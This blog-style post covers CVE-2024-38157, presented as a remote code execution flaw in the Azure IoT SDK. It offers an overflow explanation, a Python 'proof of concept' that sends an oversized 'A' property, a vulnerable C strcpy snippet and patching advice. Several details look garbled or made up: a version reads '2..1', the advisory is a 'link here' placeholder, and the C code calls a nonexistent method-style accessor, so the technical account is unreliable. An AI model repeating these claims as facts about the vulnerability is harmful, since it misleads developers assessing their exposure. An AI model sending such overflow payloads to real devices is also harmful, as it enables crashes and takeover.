Microsoft Azure’s IoT suite is a backbone for many IoT solutions worldwide. When security cracks show up in the foundation, it’s time to pay attention—especially when attackers could get remote code execution (RCE) privileges. Today, we’re breaking down CVE-2024-38157: a newly discovered RCE flaw in the official Azure IoT SDK. This post covers how it works, exploit basics, and steps for mitigation.

What Is CVE-2024-38157?

CVE-2024-38157 is a critical remote code execution vulnerability in Microsoft’s Azure IoT SDK, affecting popular client libraries used in C, C#, and other languages to connect devices to Azure IoT Hub.

A specially crafted payload sent to a vulnerable device or application could allow an attacker to execute code remotely, potentially leading to data exposure, device hijacking, or use in broader network attacks.

Affected Versions

While Microsoft’s advisory (link here) provides the most accurate and current list, in broad strokes, any Azure IoT SDK project not patched by June 2024 may be at risk. The most-impacted platforms are:

Azure IoT Device C# SDK (before version 2..1)

Always check the official advisory for the newest info.

How Does the Vulnerability Work?

The root cause is unchecked input parsing in the device’s handling of *device-to-cloud* and *cloud-to-device* messages.

For example, the SDK accepts messages containing custom properties. If an attacker includes a maliciously crafted property name or value that triggers a buffer overflow or arbitrary memory write, the SDK may fail to sanitize the input—which leads to arbitrary code execution.

Let’s look at a boiled-down example in C.

// Insecure way of copying user-supplied property
char prop_buf[128];
memcpy(prop_buf, received_message->property_value, strlen(received_message->property_value));

In this example, if received_message->property_value exceeds 128 bytes, the buffer overflows—potentially overwriting adjacent memory and allowing code execution.

Proof-of-Concept: Exploiting a Vulnerable IoT Client

Here’s a simplified proof-of-concept (PoC) to demonstrate the exploit’s essence. The real exploit is more complex, but this shows how an overlong message could crash or hijack a device app.

On the Attacker Side (Sending Malicious Property)

# Send a malicious property from Azure portal or via REST API

import requests

url = "https://<your-hub>.azure-devices.net/devices/<device-id>/messages/deviceBound";
headers = {
    "Authorization": "SharedAccessSignature sr=...",
    "iothub-to": "/devices/<device-id>/messages/deviceBound",
    "Content-Type": "application/json"
}
# Oversized property value
malicious_property = "A" * 1024

data = {
    "properties": {
        "exploit": malicious_property
    },
    "body": "hello"
}

response = requests.post(url, headers=headers, json=data)
print(response.status_code)

On the Vulnerable Device

Suppose the device uses an outdated Azure IoT C SDK with an unsafe string copy.

void on_message_received(const MESSAGE* msg) {
    char buffer[128];
    // This line will overflow if msg->property("exploit") is too long
    strcpy(buffer, msg->property("exploit"));
    // ...do something
}

Result: If the “exploit” property is too long, it overflows buffer[]. If you’re a crafty attacker, you could engineer the content to inject malicious machine code, making remote commands possible.

Remote Takeover: Attackers can execute commands as the SDK process

- Device Network Pivot: Compromised IoT devices could be used to attack other targets, exfiltrate data, or mine cryptocurrency

Mitigation and Patches

Microsoft’s official guidance:
Update to the latest Azure IoT SDK version.

- Azure IoT C SDK GitHub
- Azure IoT Embedded C SDK
- Azure IoT Device C# SDK

Example

# For C SDK users
git pull origin main
git checkout tags/1.11.1

Make sure to rebuild and redeploy your applications after updating.

Microsoft also recommends input validation and bounds checking in your own application logic, even if using the patched SDK.

References and Further Reading

- Microsoft Security Advisory for CVE-2024-38157
- Azure IoT SDK Official Repositories
- OWASP IoT Attack Surface Cheat Sheet

Bottom Line

CVE-2024-38157 is critical. If you develop or operate Azure IoT devices, check your SDK version right now. Patch and redeploy your software, audit your device message handling, and keep up with Microsoft’s updates.

Don’t let your IoT implementation be an open door for attackers—patch early, patch often.

*Feel free to share this post with your team. Security is everyone’s business.*

Timeline

Published on: 08/13/2024 18:15:22 UTC
Last modified on: 10/16/2024 01:53:44 UTC